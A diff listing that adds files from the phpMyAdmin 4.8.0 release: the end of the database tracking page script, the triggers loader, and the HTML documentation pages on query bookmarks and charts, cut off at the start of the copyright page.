+                'db_tracking.php' . $url_query, 


 
+                0, 


 
+                $GLOBALS['db'], 


 
+                $_REQUEST['selected_tbl'] 


 
+            ); 


 
+            exit; 


 
+        } 


 
+    } else { 


 
+        Message::notice( 


 
+            __('No tables selected.') 


 
+        )->display(); 


 
+    } 


 
+} 


 
+ 


 
+// Get tracked data about the database 


 
+$data = Tracker::getTrackedData($_REQUEST['db'], '', '1'); 


 
+ 


 
+// No tables present and no log exist 


 
+if ($num_tables == 0 && count($data['ddlog']) == 0) { 


 
+    echo '<p>' , __('No tables found in database.') , '</p>' , "\n"; 


 
+ 


 
+    if (empty($db_is_system_schema)) { 


 
+        echo CreateTable::getHtml($db); 


 
+    } 


 
+    exit; 


 
+} 


 
+ 


 
+// --------------------------------------------------------------------------- 


 
+$relation = new Relation(); 


 
+$cfgRelation = $relation->getRelationsParam(); 


 
+ 


 
+// Prepare statement to get HEAD version 


 
+$all_tables_query = ' SELECT table_name, MAX(version) as version FROM ' . 


 
+    Util::backquote($cfgRelation['db']) . '.' . 


 
+    Util::backquote($cfgRelation['tracking']) . 


 
+    ' WHERE db_name = \'' . $GLOBALS['dbi']->escapeString($_REQUEST['db']) . 


 
+    '\' ' . 


 
+    ' GROUP BY table_name' . 


 
+    ' ORDER BY table_name ASC'; 


 
+ 


 
+$all_tables_result = $relation->queryAsControlUser($all_tables_query); 


 
+ 


 
+// If a HEAD version exists 


 
+if (is_object($all_tables_result) 


 
+    && $GLOBALS['dbi']->numRows($all_tables_result) > 0 


 
+) { 


 
+    echo Tracking::getHtmlForTrackedTables( 


 
+        $GLOBALS['db'], $all_tables_result, $url_query, $pmaThemeImage, 


 
+        $text_dir, $cfgRelation 


 
+    ); 


 
+} 


 
+ 


 
+$untracked_tables = Tracking::getUntrackedTables($GLOBALS['db']); 


 
+ 


 
+// If untracked tables exist 


 
+if (count($untracked_tables) > 0) { 


 
+    echo Tracking::getHtmlForUntrackedTables( 


 
+        $GLOBALS['db'], $untracked_tables, $url_query, $pmaThemeImage, $text_dir 


 
+    ); 


 
+} 


 
+// If available print out database log 


 
+if (count($data['ddlog']) > 0) { 


 
+    $log = ''; 


 
+    foreach ($data['ddlog'] as $entry) { 


 
+        $log .= '# ' . $entry['date'] . ' ' . $entry['username'] . "\n" 


 
+            . $entry['statement'] . "\n"; 


 
+    } 


 
+    echo Util::getMessage(__('Database Log'), $log); 


 
+} 
 
18 phpMyAdmin-4.8.0-all-languages/db_triggers.php 


@@ -0,0 +1,18 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Triggers management. 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+ 


 
+/** 


 
+ * Include required files 


 
+ */ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+/** 


 
+ * Do the magic 


 
+ */ 


 
+$_PMA_RTE = 'TRI'; 


 
+require_once 'libraries/rte/rte_main.inc.php'; 
 
186 phpMyAdmin-4.8.0-all-languages/doc/html/bookmarks.html 


@@ -0,0 +1,186 @@


 
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 


 
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 


 
+ 


 
+ 


 
+<html xmlns="http://www.w3.org/1999/xhtml"> 


 
+  <head> 


 
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 


 
+     


 
+    <title>Bookmarks &#8212; phpMyAdmin 4.8.0 documentation</title> 


 
+     


 
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" /> 


 
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> 


 
+     


 
+    <script type="text/javascript"> 


 
+      var DOCUMENTATION_OPTIONS = { 


 
+        URL_ROOT:    './', 


 
+        VERSION:     '4.8.0', 


 
+        COLLAPSE_INDEX: false, 


 
+        FILE_SUFFIX: '.html', 


 
+        HAS_SOURCE:  true 


 
+      }; 


 
+    </script> 


 
+    <script type="text/javascript" src="_static/jquery.js"></script> 


 
+    <script type="text/javascript" src="_static/underscore.js"></script> 


 
+    <script type="text/javascript" src="_static/doctools.js"></script> 


 
+    <link rel="index" title="Index" href="genindex.html" /> 


 
+    <link rel="search" title="Search" href="search.html" /> 


 
+    <link rel="copyright" title="Copyright" href="copyright.html" /> 


 
+    <link rel="top" title="phpMyAdmin 4.8.0 documentation" href="index.html" /> 


 
+    <link rel="up" title="User Guide" href="user.html" /> 


 
+    <link rel="next" title="User management" href="privileges.html" /> 


 
+    <link rel="prev" title="Transformations" href="transformations.html" />  


 
+  </head> 


 
+  <body role="document"> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             accesskey="I">index</a></li> 


 
+        <li class="right" > 


 
+          <a href="privileges.html" title="User management" 


 
+             accesskey="N">next</a> |</li> 


 
+        <li class="right" > 


 
+          <a href="transformations.html" title="Transformations" 


 
+             accesskey="P">previous</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.8.0 documentation</a> &#187;</li> 


 
+          <li class="nav-item nav-item-1"><a href="user.html" accesskey="U">User Guide</a> &#187;</li>  


 
+      </ul> 


 
+    </div>   


 
+ 


 
+    <div class="document"> 


 
+      <div class="documentwrapper"> 


 
+        <div class="bodywrapper"> 


 
+          <div class="body" role="main"> 


 
+             


 
+  <div class="section" id="bookmarks"> 


 
+<span id="id1"></span><h1>Bookmarks<a class="headerlink" href="#bookmarks" title="Permalink to this headline">¶</a></h1> 


 
+<div class="admonition note"> 


 
+<p class="first admonition-title">Note</p> 


 
+<p class="last">You need to have configured the <a class="reference internal" href="setup.html#linked-tables"><span class="std std-ref">phpMyAdmin configuration storage</span></a> for using bookmarks 


 
+feature.</p> 


 
+</div> 


 
+<div class="section" id="storing-bookmarks"> 


 
+<h2>Storing bookmarks<a class="headerlink" href="#storing-bookmarks" title="Permalink to this headline">¶</a></h2> 


 
+<p>Any query you have executed can be stored as a bookmark on the page 


 
+where the results are displayed. You will find a button labeled 


 
+<span class="guilabel">Bookmark this query</span> just at the end of the page. As soon as you have 


 
+stored a bookmark, it is related to the database you run the query on. 


 
+You can now access a bookmark dropdown on each page, the query box 


 
+appears on for that database.</p> 


 
+</div> 


 
+<div class="section" id="variables-inside-bookmarks"> 


 
+<h2>Variables inside bookmarks<a class="headerlink" href="#variables-inside-bookmarks" title="Permalink to this headline">¶</a></h2> 


 
+<p>You can also have, inside the query, placeholders for variables. 


 
+This is done by inserting into the query SQL comments between <code class="docutils literal"><span class="pre">/*</span></code> and 


 
+<code class="docutils literal"><span class="pre">*/</span></code>. Inside the comments, the special strings <code class="docutils literal"><span class="pre">[VARIABLE{variable-number}]</span></code> is used. 


 
+Be aware that the whole query minus the SQL comments must be 


 
+valid by itself, otherwise you won&#8217;t be able to store it as a bookmark. 


 
+Note also that the text &#8216;VARIABLE&#8217; is case-sensitive.</p> 


 
+<p>When you execute the bookmark, everything typed into the <em>Variables</em> 


 
+input boxes on the query box page will replace the strings <code class="docutils literal"><span class="pre">/*[VARIABLE{variable-number}]*/</span></code> in 


 
+your stored query.</p> 


 
+<p>Also remember, that everything else inside the <code class="docutils literal"><span class="pre">/*[VARIABLE{variable-number}]*/</span></code> string for 


 
+your query will remain the way it is, but will be stripped of the <code class="docutils literal"><span class="pre">/**/</span></code> 


 
+chars. So you can use:</p> 


 
+<div class="highlight-mysql"><div class="highlight"><pre><span></span><span class="cm">/*, [VARIABLE1] AS myname */</span> 


 
+</pre></div> 


 
+</div> 


 
+<p>which will be expanded to</p> 


 
+<div class="highlight-mysql"><div class="highlight"><pre><span></span><span class="p">,</span> <span class="n">VARIABLE1</span> <span class="k">as</span> <span class="n">myname</span> 


 
+</pre></div> 


 
+</div> 


 
+<p>in your query, where VARIABLE1 is the string you entered in the Variable 1 input box.</p> 


 
+<p>A more complex example. Say you have stored 


 
+this query:</p> 


 
+<div class="highlight-mysql"><div class="highlight"><pre><span></span><span class="k">SELECT</span> <span class="n">Name</span><span class="p">,</span> <span class="n">Address</span> <span class="k">FROM</span> <span class="n">addresses</span> <span class="k">WHERE</span> <span class="mi">1</span> <span class="cm">/* AND Name LIKE &#39;%[VARIABLE1]%&#39; */</span> 


 
+</pre></div> 


 
+</div> 


 
+<p>Say, you now enter &#8220;phpMyAdmin&#8221; as the variable for the stored query, the full 


 
+query will be:</p> 


 
+<div class="highlight-mysql"><div class="highlight"><pre><span></span><span class="k">SELECT</span> <span class="n">Name</span><span class="p">,</span> <span class="n">Address</span> <span class="k">FROM</span> <span class="n">addresses</span> <span class="k">WHERE</span> <span class="mi">1</span> <span class="k">AND</span> <span class="n">Name</span> <span class="k">LIKE</span> <span class="s1">&#39;%phpMyAdmin%&#39;</span> 


 
+</pre></div> 


 
+</div> 


 
+<p><strong>NOTE THE ABSENCE OF SPACES</strong> inside the <code class="docutils literal"><span class="pre">/**/</span></code> construct. Any spaces 


 
+inserted there will be later also inserted as spaces in your query and may lead 


 
+to unexpected results especially when using the variable expansion inside of a 


 
+&#8220;LIKE &#8216;&#8217;&#8221; expression.</p> 


 
+</div> 


 
+<div class="section" id="browsing-table-using-bookmark"> 


 
+<h2>Browsing table using bookmark<a class="headerlink" href="#browsing-table-using-bookmark" title="Permalink to this headline">¶</a></h2> 


 
+<p>When bookmark is named same as table, it will be used as query when browsing 


 
+this table.</p> 


 
+<div class="admonition seealso"> 


 
+<p class="first admonition-title">See also</p> 


 
+<p class="last"><a class="reference internal" href="faq.html#faqbookmark"><span class="std std-ref">6.18 Bookmarks: Where can I store bookmarks? Why can&#8217;t I see any bookmarks below the query box? What are these variables for?</span></a>, 


 
+<a class="reference internal" href="faq.html#faq6-22"><span class="std std-ref">6.22 Bookmarks: Can I execute a default bookmark automatically when entering Browse mode for a table?</span></a></p> 


 
+</div> 


 
+</div> 


 
+</div> 


 
+ 


 
+ 


 
+          </div> 


 
+        </div> 


 
+      </div> 


 
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> 


 
+        <div class="sphinxsidebarwrapper"> 


 
+  <h3><a href="index.html">Table Of Contents</a></h3> 


 
+  <ul> 


 
+<li><a class="reference internal" href="#">Bookmarks</a><ul> 


 
+<li><a class="reference internal" href="#storing-bookmarks">Storing bookmarks</a></li> 


 
+<li><a class="reference internal" href="#variables-inside-bookmarks">Variables inside bookmarks</a></li> 


 
+<li><a class="reference internal" href="#browsing-table-using-bookmark">Browsing table using bookmark</a></li> 


 
+</ul> 


 
+</li> 


 
+</ul> 


 
+ 


 
+  <h4>Previous topic</h4> 


 
+  <p class="topless"><a href="transformations.html" 


 
+                        title="previous chapter">Transformations</a></p> 


 
+  <h4>Next topic</h4> 


 
+  <p class="topless"><a href="privileges.html" 


 
+                        title="next chapter">User management</a></p> 


 
+  <div role="note" aria-label="source link"> 


 
+    <h3>This Page</h3> 


 
+    <ul class="this-page-menu"> 


 
+      <li><a href="_sources/bookmarks.txt" 


 
+            rel="nofollow">Show Source</a></li> 


 
+    </ul> 


 
+   </div> 


 
+<div id="searchbox" style="display: none" role="search"> 


 
+  <h3>Quick search</h3> 


 
+    <form class="search" action="search.html" method="get"> 


 
+      <div><input type="text" name="q" /></div> 


 
+      <div><input type="submit" value="Go" /></div> 


 
+      <input type="hidden" name="check_keywords" value="yes" /> 


 
+      <input type="hidden" name="area" value="default" /> 


 
+    </form> 


 
+</div> 


 
+<script type="text/javascript">$('#searchbox').show(0);</script> 


 
+        </div> 


 
+      </div> 


 
+      <div class="clearer"></div> 


 
+    </div> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             >index</a></li> 


 
+        <li class="right" > 


 
+          <a href="privileges.html" title="User management" 


 
+             >next</a> |</li> 


 
+        <li class="right" > 


 
+          <a href="transformations.html" title="Transformations" 


 
+             >previous</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.8.0 documentation</a> &#187;</li> 


 
+          <li class="nav-item nav-item-1"><a href="user.html" >User Guide</a> &#187;</li>  


 
+      </ul> 


 
+    </div> 


 
+    <div class="footer" role="contentinfo"> 


 
+        &#169; <a href="copyright.html">Copyright</a> 2012 - 2018, The phpMyAdmin devel team. 


 
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.4.9. 


 
+    </div> 


 
+  </body> 


 
+</html>  
 
300 phpMyAdmin-4.8.0-all-languages/doc/html/charts.html 


@@ -0,0 +1,300 @@


 
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 


 
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 


 
+ 


 
+ 


 
+<html xmlns="http://www.w3.org/1999/xhtml"> 


 
+  <head> 


 
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 


 
+     


 
+    <title>Charts &#8212; phpMyAdmin 4.8.0 documentation</title> 


 
+     


 
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" /> 


 
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> 


 
+     


 
+    <script type="text/javascript"> 


 
+      var DOCUMENTATION_OPTIONS = { 


 
+        URL_ROOT:    './', 


 
+        VERSION:     '4.8.0', 


 
+        COLLAPSE_INDEX: false, 


 
+        FILE_SUFFIX: '.html', 


 
+        HAS_SOURCE:  true 


 
+      }; 


 
+    </script> 


 
+    <script type="text/javascript" src="_static/jquery.js"></script> 


 
+    <script type="text/javascript" src="_static/underscore.js"></script> 


 
+    <script type="text/javascript" src="_static/doctools.js"></script> 


 
+    <link rel="index" title="Index" href="genindex.html" /> 


 
+    <link rel="search" title="Search" href="search.html" /> 


 
+    <link rel="copyright" title="Copyright" href="copyright.html" /> 


 
+    <link rel="top" title="phpMyAdmin 4.8.0 documentation" href="index.html" /> 


 
+    <link rel="up" title="User Guide" href="user.html" /> 


 
+    <link rel="next" title="Import and export" href="import_export.html" /> 


 
+    <link rel="prev" title="Relations" href="relations.html" />  


 
+  </head> 


 
+  <body role="document"> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             accesskey="I">index</a></li> 


 
+        <li class="right" > 


 
+          <a href="import_export.html" title="Import and export" 


 
+             accesskey="N">next</a> |</li> 


 
+        <li class="right" > 


 
+          <a href="relations.html" title="Relations" 


 
+             accesskey="P">previous</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.8.0 documentation</a> &#187;</li> 


 
+          <li class="nav-item nav-item-1"><a href="user.html" accesskey="U">User Guide</a> &#187;</li>  


 
+      </ul> 


 
+    </div>   


 
+ 


 
+    <div class="document"> 


 
+      <div class="documentwrapper"> 


 
+        <div class="bodywrapper"> 


 
+          <div class="body" role="main"> 


 
+             


 
+  <div class="section" id="charts"> 


 
+<span id="id1"></span><h1>Charts<a class="headerlink" href="#charts" title="Permalink to this headline">¶</a></h1> 


 
+<div class="versionadded"> 


 
+<p><span class="versionmodified">New in version 3.4.0.</span></p> 


 
+</div> 


 
+<p>Since phpMyAdmin version 3.4.0, you can easily generate charts from a SQL query 


 
+by clicking the &#8220;Display chart&#8221; link in the &#8220;Query results operations&#8221; area.</p> 


 
+<img alt="_images/query_result_operations.png" src="_images/query_result_operations.png" /> 


 
+<p>A window layer &#8220;Display chart&#8221; is shown in which you can customize the chart with the following options.</p> 


 
+<ul class="simple"> 


 
+<li>Chart type: Allows you choose the type of the chart. Supported types are bar charts, column charts, line charts, spline charts, area charts, pie charts and timeline charts (only the chart types applicable for current series selection are offered).</li> 


 
+<li>X-axis: Allows to choose the field for the main axis.</li> 


 
+<li>Series: Allows to choose series for the chart. You can choose multiple series.</li> 


 
+<li>Title: Allows specifying a title for the chart which is displayed above the chart.</li> 


 
+<li>X-axis and Y-axis labels: Allows specifying labels for axes.</li> 


 
+<li>Start row and number of rows: Allows generating charts only for a specified number of rows of the results set.</li> 


 
+</ul> 


 
+<img alt="_images/chart.png" src="_images/chart.png" /> 


 
+<div class="section" id="chart-implementation"> 


 
+<h2>Chart implementation<a class="headerlink" href="#chart-implementation" title="Permalink to this headline">¶</a></h2> 


 
+<p>Charts in phpMyAdmin are drawn using <a class="reference external" href="http://www.jqplot.com/">jqPlot</a> jQuery library.</p> 


 
+</div> 


 
+<div class="section" id="examples"> 


 
+<h2>Examples<a class="headerlink" href="#examples" title="Permalink to this headline">¶</a></h2> 


 
+<div class="section" id="pie-chart"> 


 
+<h3>Pie chart<a class="headerlink" href="#pie-chart" title="Permalink to this headline">¶</a></h3> 


 
+<p>Query results for a simple pie chart can be generated with:</p> 


 
+<div class="highlight-mysql"><div class="highlight"><pre><span></span><span class="k">SELECT</span> <span class="s1">&#39;Food&#39;</span> <span class="k">AS</span> <span class="s1">&#39;expense&#39;</span><span class="p">,</span> 


 
+   <span class="mi">1250</span> <span class="k">AS</span> <span class="s1">&#39;amount&#39;</span> <span class="k">UNION</span> 


 
+<span class="k">SELECT</span> <span class="s1">&#39;Accommodation&#39;</span><span class="p">,</span> <span class="mi">500</span> <span class="k">UNION</span> 


 
+<span class="k">SELECT</span> <span class="s1">&#39;Travel&#39;</span><span class="p">,</span> <span class="mi">720</span> <span class="k">UNION</span> 


 
+<span class="k">SELECT</span> <span class="s1">&#39;Misc&#39;</span><span class="p">,</span> <span class="mi">220</span> 


 
+</pre></div> 


 
+</div> 


 
+<p>And the result of this query is:</p> 


 
+<table border="1" class="docutils"> 


 
+<colgroup> 


 
+<col width="65%" /> 


 
+<col width="35%" /> 


 
+</colgroup> 


 
+<thead valign="bottom"> 


 
+<tr class="row-odd"><th class="head">expense</th> 


 
+<th class="head">amount</th> 


 
+</tr> 


 
+</thead> 


 
+<tbody valign="top"> 


 
+<tr class="row-even"><td>Food</td> 


 
+<td>1250</td> 


 
+</tr> 


 
+<tr class="row-odd"><td>Accommodation</td> 


 
+<td>500</td> 


 
+</tr> 


 
+<tr class="row-even"><td>Travel</td> 


 
+<td>720</td> 


 
+</tr> 


 
+<tr class="row-odd"><td>Misc</td> 


 
+<td>220</td> 


 
+</tr> 


 
+</tbody> 


 
+</table> 


 
+<p>Choosing expense as the X-axis and amount in series:</p> 


 
+<img alt="_images/pie_chart.png" src="_images/pie_chart.png" /> 


 
+</div> 


 
+<div class="section" id="bar-and-column-chart"> 


 
+<h3>Bar and column chart<a class="headerlink" href="#bar-and-column-chart" title="Permalink to this headline">¶</a></h3> 


 
+<p>Both bar charts and column chats support stacking. Upon selecting one of these types a checkbox is displayed to select stacking.</p> 


 
+<p>Query results for a simple bar or column chart can be generated with:</p> 


 
+<div class="highlight-mysql"><div class="highlight"><pre><span></span><span class="k">SELECT</span> 


 
+   <span class="s1">&#39;ACADEMY DINOSAUR&#39;</span> <span class="k">AS</span> <span class="s1">&#39;title&#39;</span><span class="p">,</span> 


 
+   <span class="mi">0</span><span class="p">.</span><span class="mi">99</span> <span class="k">AS</span> <span class="s1">&#39;rental_rate&#39;</span><span class="p">,</span> 


 
+   <span class="mi">20</span><span class="p">.</span><span class="mi">99</span> <span class="k">AS</span> <span class="s1">&#39;replacement_cost&#39;</span> <span class="k">UNION</span> 


 
+<span class="k">SELECT</span> <span class="s1">&#39;ACE GOLDFINGER&#39;</span><span class="p">,</span> <span class="mi">4</span><span class="p">.</span><span class="mi">99</span><span class="p">,</span> <span class="mi">12</span><span class="p">.</span><span class="mi">99</span> <span class="k">UNION</span> 


 
+<span class="k">SELECT</span> <span class="s1">&#39;ADAPTATION HOLES&#39;</span><span class="p">,</span> <span class="mi">2</span><span class="p">.</span><span class="mi">99</span><span class="p">,</span> <span class="mi">18</span><span class="p">.</span><span class="mi">99</span> <span class="k">UNION</span> 


 
+<span class="k">SELECT</span> <span class="s1">&#39;AFFAIR PREJUDICE&#39;</span><span class="p">,</span> <span class="mi">2</span><span class="p">.</span><span class="mi">99</span><span class="p">,</span> <span class="mi">26</span><span class="p">.</span><span class="mi">99</span> <span class="k">UNION</span> 


 
+<span class="k">SELECT</span> <span class="s1">&#39;AFRICAN EGG&#39;</span><span class="p">,</span> <span class="mi">2</span><span class="p">.</span><span class="mi">99</span><span class="p">,</span> <span class="mi">22</span><span class="p">.</span><span class="mi">99</span> 


 
+</pre></div> 


 
+</div> 


 
+<p>And the result of this query is:</p> 


 
+<table border="1" class="docutils"> 


 
+<colgroup> 


 
+<col width="35%" /> 


 
+<col width="27%" /> 


 
+<col width="37%" /> 


 
+</colgroup> 


 
+<thead valign="bottom"> 


 
+<tr class="row-odd"><th class="head">title</th> 


 
+<th class="head">rental_rate</th> 


 
+<th class="head">replacement_cost</th> 


 
+</tr> 


 
+</thead> 


 
+<tbody valign="top"> 


 
+<tr class="row-even"><td>ACADEMY DINOSAUR</td> 


 
+<td>0.99</td> 


 
+<td>20.99</td> 


 
+</tr> 


 
+<tr class="row-odd"><td>ACE GOLDFINGER</td> 


 
+<td>4.99</td> 


 
+<td>12.99</td> 


 
+</tr> 


 
+<tr class="row-even"><td>ADAPTATION HOLES</td> 


 
+<td>2.99</td> 


 
+<td>18.99</td> 


 
+</tr> 


 
+<tr class="row-odd"><td>AFFAIR PREJUDICE</td> 


 
+<td>2.99</td> 


 
+<td>26.99</td> 


 
+</tr> 


 
+<tr class="row-even"><td>AFRICAN EGG</td> 


 
+<td>2.99</td> 


 
+<td>22.99</td> 


 
+</tr> 


 
+</tbody> 


 
+</table> 


 
+<p>Choosing title as the X-axis and rental_rate and replacement_cost as series:</p> 


 
+<img alt="_images/column_chart.png" src="_images/column_chart.png" /> 


 
+</div> 


 
+<div class="section" id="scatter-chart"> 


 
+<h3>Scatter chart<a class="headerlink" href="#scatter-chart" title="Permalink to this headline">¶</a></h3> 


 
+<p>Scatter charts are useful in identifying the movement of one or more variable(s) compared to another variable.</p> 


 
+<p>Using the same data set from bar and column charts section and choosing replacement_cost as the X-axis and rental_rate in series:</p> 


 
+<img alt="_images/scatter_chart.png" src="_images/scatter_chart.png" /> 


 
+</div> 


 
+<div class="section" id="line-spline-and-timeline-charts"> 


 
+<h3>Line, spline and timeline charts<a class="headerlink" href="#line-spline-and-timeline-charts" title="Permalink to this headline">¶</a></h3> 


 
+<p>These charts can be used to illustrate trends in underlying data. Spline charts draw smooth lines while timeline charts draw X-axis taking the distances between the dates/time into consideration.</p> 


 
+<p>Query results for a simple line, spline or timeline chart can be generated with:</p> 


 
+<div class="highlight-mysql"><div class="highlight"><pre><span></span><span class="k">SELECT</span> 


 
+   <span class="kt">DATE</span><span class="p">(</span><span class="s1">&#39;2006-01-08&#39;</span><span class="p">)</span> <span class="k">AS</span> <span class="s1">&#39;date&#39;</span><span class="p">,</span> 


 
+   <span class="mi">2056</span> <span class="k">AS</span> <span class="s1">&#39;revenue&#39;</span><span class="p">,</span> 


 
+   <span class="mi">1378</span> <span class="k">AS</span> <span class="s1">&#39;cost&#39;</span> <span class="k">UNION</span> 


 
+<span class="k">SELECT</span> <span class="kt">DATE</span><span class="p">(</span><span class="s1">&#39;2006-01-09&#39;</span><span class="p">),</span> <span class="mi">1898</span><span class="p">,</span> <span class="mi">2301</span> <span class="k">UNION</span> 


 
+<span class="k">SELECT</span> <span class="kt">DATE</span><span class="p">(</span><span class="s1">&#39;2006-01-15&#39;</span><span class="p">),</span> <span class="mi">1560</span><span class="p">,</span> <span class="mi">600</span> <span class="k">UNION</span> 


 
+<span class="k">SELECT</span> <span class="kt">DATE</span><span class="p">(</span><span class="s1">&#39;2006-01-17&#39;</span><span class="p">),</span> <span class="mi">3457</span><span class="p">,</span> <span class="mi">1565</span> 


 
+</pre></div> 


 
+</div> 


 
+<p>And the result of this query is:</p> 


 
+<table border="1" class="docutils"> 


 
+<colgroup> 


 
+<col width="44%" /> 


 
+<col width="33%" /> 


 
+<col width="22%" /> 


 
+</colgroup> 


 
+<thead valign="bottom"> 


 
+<tr class="row-odd"><th class="head">date</th> 


 
+<th class="head">revenue</th> 


 
+<th class="head">cost</th> 


 
+</tr> 


 
+</thead> 


 
+<tbody valign="top"> 


 
+<tr class="row-even"><td>2016-01-08</td> 


 
+<td>2056</td> 


 
+<td>1378</td> 


 
+</tr> 


 
+<tr class="row-odd"><td>2006-01-09</td> 


 
+<td>1898</td> 


 
+<td>2301</td> 


 
+</tr> 


 
+<tr class="row-even"><td>2006-01-15</td> 


 
+<td>1560</td> 


 
+<td>600</td> 


 
+</tr> 


 
+<tr class="row-odd"><td>2006-01-17</td> 


 
+<td>3457</td> 


 
+<td>1565</td> 


 
+</tr> 


 
+</tbody> 


 
+</table> 


 
+<img alt="_images/line_chart.png" src="_images/line_chart.png" /> 


 
+<img alt="_images/spline_chart.png" src="_images/spline_chart.png" /> 


 
+<img alt="_images/timeline_chart.png" src="_images/timeline_chart.png" /> 


 
+</div> 


 
+</div> 


 
+</div> 


 
+ 


 
+ 


 
+          </div> 


 
+        </div> 


 
+      </div> 


 
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> 


 
+        <div class="sphinxsidebarwrapper"> 


 
+  <h3><a href="index.html">Table Of Contents</a></h3> 


 
+  <ul> 


 
+<li><a class="reference internal" href="#">Charts</a><ul> 


 
+<li><a class="reference internal" href="#chart-implementation">Chart implementation</a></li> 


 
+<li><a class="reference internal" href="#examples">Examples</a><ul> 


 
+<li><a class="reference internal" href="#pie-chart">Pie chart</a></li> 


 
+<li><a class="reference internal" href="#bar-and-column-chart">Bar and column chart</a></li> 


 
+<li><a class="reference internal" href="#scatter-chart">Scatter chart</a></li> 


 
+<li><a class="reference internal" href="#line-spline-and-timeline-charts">Line, spline and timeline charts</a></li> 


 
+</ul> 


 
+</li> 


 
+</ul> 


 
+</li> 


 
+</ul> 


 
+ 


 
+  <h4>Previous topic</h4> 


 
+  <p class="topless"><a href="relations.html" 


 
+                        title="previous chapter">Relations</a></p> 


 
+  <h4>Next topic</h4> 


 
+  <p class="topless"><a href="import_export.html" 


 
+                        title="next chapter">Import and export</a></p> 


 
+  <div role="note" aria-label="source link"> 


 
+    <h3>This Page</h3> 


 
+    <ul class="this-page-menu"> 


 
+      <li><a href="_sources/charts.txt" 


 
+            rel="nofollow">Show Source</a></li> 


 
+    </ul> 


 
+   </div> 


 
+<div id="searchbox" style="display: none" role="search"> 


 
+  <h3>Quick search</h3> 


 
+    <form class="search" action="search.html" method="get"> 


 
+      <div><input type="text" name="q" /></div> 


 
+      <div><input type="submit" value="Go" /></div> 


 
+      <input type="hidden" name="check_keywords" value="yes" /> 


 
+      <input type="hidden" name="area" value="default" /> 


 
+    </form> 


 
+</div> 


 
+<script type="text/javascript">$('#searchbox').show(0);</script> 


 
+        </div> 


 
+      </div> 


 
+      <div class="clearer"></div> 


 
+    </div> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             >index</a></li> 


 
+        <li class="right" > 


 
+          <a href="import_export.html" title="Import and export" 


 
+             >next</a> |</li> 


 
+        <li class="right" > 


 
+          <a href="relations.html" title="Relations" 


 
+             >previous</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.8.0 documentation</a> &#187;</li> 


 
+          <li class="nav-item nav-item-1"><a href="user.html" >User Guide</a> &#187;</li>  


 
+      </ul> 


 
+    </div> 


 
+    <div class="footer" role="contentinfo"> 


 
+        &#169; <a href="copyright.html">Copyright</a> 2012 - 2018, The phpMyAdmin devel team. 


 
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.4.9. 


 
+    </div> 


 
+  </body> 


 
+</html>  
 
6,192 phpMyAdmin-4.8.0-all-languages/doc/html/config.html 

 
Load diff
Large diffs are not rendered by default. 
 
151 phpMyAdmin-4.8.0-all-languages/doc/html/copyright.html 


@@ -0,0 +1,151 @@


 
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 


 
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 


 
+ 


 
+ 


 
+<html xmlns="http://www.w3.org/1999/xhtml"> 


 
+  <head> 


 
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 


 
+     


 
+    <title>Copyright &#8212; phpMyAdmin 4.8.0 documentation</title> 


 
+     


 
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" /> 


 
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> 


 
+     


 
+    <script type="text/javascript"> 


 
+      var DOCUMENTATION_OPTIONS = { 


 
+        URL_ROOT:    './', 


 
+        VERSION:     '4.8.0', 


 
+        COLLAPSE_INDEX: false, 


 
+        FILE_SUFFIX: '.html', 


 
+        HAS_SOURCE:  true 


 
+      }; 


 
+    </script> 


 
+    <script type="text/javascript" src="_static/jquery.js"></script> 


 
+    <script type="text/javascript" src="_static/underscore.js"></script> 


 
+    <script type="text/javascript" src="_static/doctools.js"></script> 


 
+    <link rel="index" title="Index" href="genindex.html" /> 


 
+    <link rel="search" title="Search" href="search.html" /> 


 
+    <link rel="copyright" title="Copyright" href="#" /> 


 
+    <link rel="top" title="phpMyAdmin 4.8.0 documentation" href="index.html" /> 


 
+    <link rel="next" title="Credits" href="credits.html" /> 


 
+    <link rel="prev" title="Distributing and packaging phpMyAdmin" href="vendors.html" />  


 
+  </head> 


 
+  <body role="document"> 


 
